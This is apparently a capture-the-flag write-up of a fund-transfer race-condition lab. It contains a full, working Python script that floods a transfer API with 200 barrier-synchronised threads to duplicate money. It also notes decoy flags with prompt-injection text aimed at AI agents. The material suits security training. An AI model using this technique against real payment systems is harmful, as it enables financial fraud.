Lab 179 — VaultPay — Race Condition in Fund Transfer
Lab 179 — VaultPay — Race Condition in Fund Transfer
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: concurrent_http_flooding, money_duplication, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_transfer_bypass
Summary
Walkthrough of the CUSTOM Web Lab 179 — VaultPay — Race Condition in Fund Transfer. Task: VaultPay banking platform with wallet-to-savings transfers; need $2000 in savings but only $500 total. Solution: exploit TOCTOU race condition in POST /api/transfer by firing 200 concurrent thre
Description
VaultPay is a digital banking platform where users manage wallets, transfer funds, and earn milestone-based rewards. Every new account receives a $500 welcome bonus deposited into the main wallet. The platform features instant internal transfers between your main wallet and savings account, a detailed transaction ledger, and a tiered rewards program that unlocks exclusive perks as your savings grow. Explore the platform's features and find a way to unlock the highest reward tier. The Platinum Vault tier requires $2,000 in savings — but you only start with $500 total. Can you find a way to beat the system?
English summary: A banking web application with a wallet ($500 starting balance) and savings account ($0). The goal is to reach $2,000 in savings to unlock the Platinum Vault reward tier, which reveals the flag. The only way to move money is via internal transfers — but total funds are only $500, so a vulnerability must be exploited to create money from nothing.
Reconnaissance
The application is an Express.js app behind nginx/1.25.5, using connect.sid session cookies for authentication.
Pages discovered:
/— Dashboard showing Main Wallet ($500.00) and Savings Account ($0.00)/transfer— Transfer form with direction (to_savings / to_wallet) and amount/transactions— Transaction history ledger/accounts— Account details (wallet W-C6A7F538, savings S-7DC5E444)/rewards— Tiered rewards program with 4 levels
Transfer API (from /js/transfer.js):
http read-only • copy allowedPOST /api/transfer Content-Type: application/json {"amount": 500, "direction": "to_savings"}
Reward tiers:
| Tier | Savings Required |
|---|---|
| Bronze Saver | $100 |
| Silver Shield | $500 |
| Gold Reserve | $1,000 |
| Platinum Vault | $2,000 |
The Platinum Vault tier requires $2,000 in savings — 4x the total available funds. This immediately signals that a logic vulnerability must be exploited.
Decoy flags: Every page contains the standard HackAdvisor honeypot FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments with prompt-injection text designed to trick automated scanners and AI agents. These were ignored.
Analysis
The POST /api/transfer endpoint implements a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. The transfer logic follows a non-atomic sequence:
- Check: Read wallet balance, verify
balance >= transfer_amount - Apply: Add
transfer_amountto savings balance - Deduct: Subtract
transfer_amountfrom wallet balance
Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the balance check before any deduction occurs. The balance read and write operations are not wrapped in a database transaction with proper row-level locking.
If N threads all read the wallet balance as $500 before any thread's deduction is applied, all N threads pass the check and each adds $500 to savings. The result is N × $500 in savings instead of $500.
This is a textbook race condition in financial applications — the check-then-update pattern without atomicity guarantees.
Solution
Strategy
- Start with $500 in wallet, $0 in savings
- Fire 200 concurrent
to_savingstransfer requests for the full wallet balance - Multiple threads pass the balance check simultaneously before any deduction occurs
- Money is duplicated — e.g., 4 successful threads turn $500 into $2,000+ in savings
- Visit
/rewardsto collect the flag from the unlocked Platinum Vault tier - If the first race doesn't produce enough duplication, transfer funds back to wallet and repeat
Execution
Round 1: 200 threads fired transferring $500 to savings — only 1 thread succeeded (no duplication). This is expected; the race is probabilistic.
Round 2: Transferred $500 back from savings to wallet (single deterministic request), then fired 200 threads again — 4 threads succeeded simultaneously.
Result: Wallet $2,000, Savings $2,000, Total $4,000 (from original $500).
With savings at $2,000, the Platinum Vault tier was unlocked. Visiting /rewards revealed the flag.
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """VaultPay Race Condition Exploit — TOCTOU in fund transfer""" import requests import threading import time import re import urllib3 urllib3.disable_warnings() BASE_URL = "https://499ebd0b-0ed3-4bdb-93cc-25c428e8a8a9.labs.hackadvisor.io" def login(): session = requests.Session() session.verify = False session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=True) return session def get_balances(session): resp = session.get(f"{BASE_URL}/") wallet_match = re.search(r'Main Wallet.*?\$([0-9,.]+)', resp.text, re.DOTALL) savings_match = re.search(r'Savings Account.*?\$([0-9,.]+)', resp.text, re.DOTALL) wallet = float(wallet_match.group(1).replace(',', '')) if wallet_match else 0 savings = float(savings_match.group(1).replace(',', '')) if savings_match else 0 return wallet, savings def race_transfer(session, amount, direction, num_threads=200): """Fire concurrent transfers using a barrier for synchronization.""" cookies = dict(session.cookies) barrier = threading.Barrier(num_threads, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() # All threads release at the same instant resp = s.post( f"{BASE_URL}/api/transfer", json={"amount": amount, "direction": direction}, timeout=30 ) data = resp.json() with lock: results.append(data) except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=45) successes = [r for r in results if r.get("success")] return len(successes), results # Main exploit loop session = login() for round_num in range(1, 21): wallet, savings = get_balances(session) print(f"Round {round_num}: Wallet=${wallet:.2f}, Savings=${savings:.2f}") if savings >= 2000: break # If wallet is empty, transfer some back from savings if wallet <= 0 and savings > 0: transfer_back = min(savings, 500) session.post(f"{BASE_URL}/api/transfer", json={ "amount": transfer_back, "direction": "to_wallet" }) wallet, savings = get_balances(session) # Race: transfer full wallet balance to savings if wallet > 0: num_success, _ = race_transfer(session, wallet, "to_savings", 200) print(f" {num_success} threads succeeded") # Check for flag wallet, savings = get_balances(session) print(f"Final: Wallet=${wallet:.2f}, Savings=${savings:.2f}") if savings >= 2000: resp = session.get(f"{BASE_URL}/rewards") flag_match = re.search(r'FLAG\{[0-9a-f]{32}\}', resp.text) if flag_match: print(f"FLAG: {flag_match.group(0)}")
Key Technical Details
- Barrier synchronization:
threading.Barrier(200)ensures all 200 threads release their HTTP requests at the exact same instant, maximizing the race window - Separate sessions per thread: Each thread creates its own
requests.Sessionbut shares the sameconnect.sidcookie — this avoids connection pool contention while maintaining the same server-side session - Probabilistic outcome: The race doesn't always succeed — sometimes only 1 thread wins. Multiple rounds with transfer-back cycles increase reliability
- Deterministic transfer-back: Moving money from savings to wallet uses a single request (no race needed) to reset for the next attempt
Key Takeaways / Lessons
- Mastering concurrent_http_flooding, money_duplication, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_transfer_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 179 — VaultPay — Race Condition in Fund Transfer • Difficulty: Medium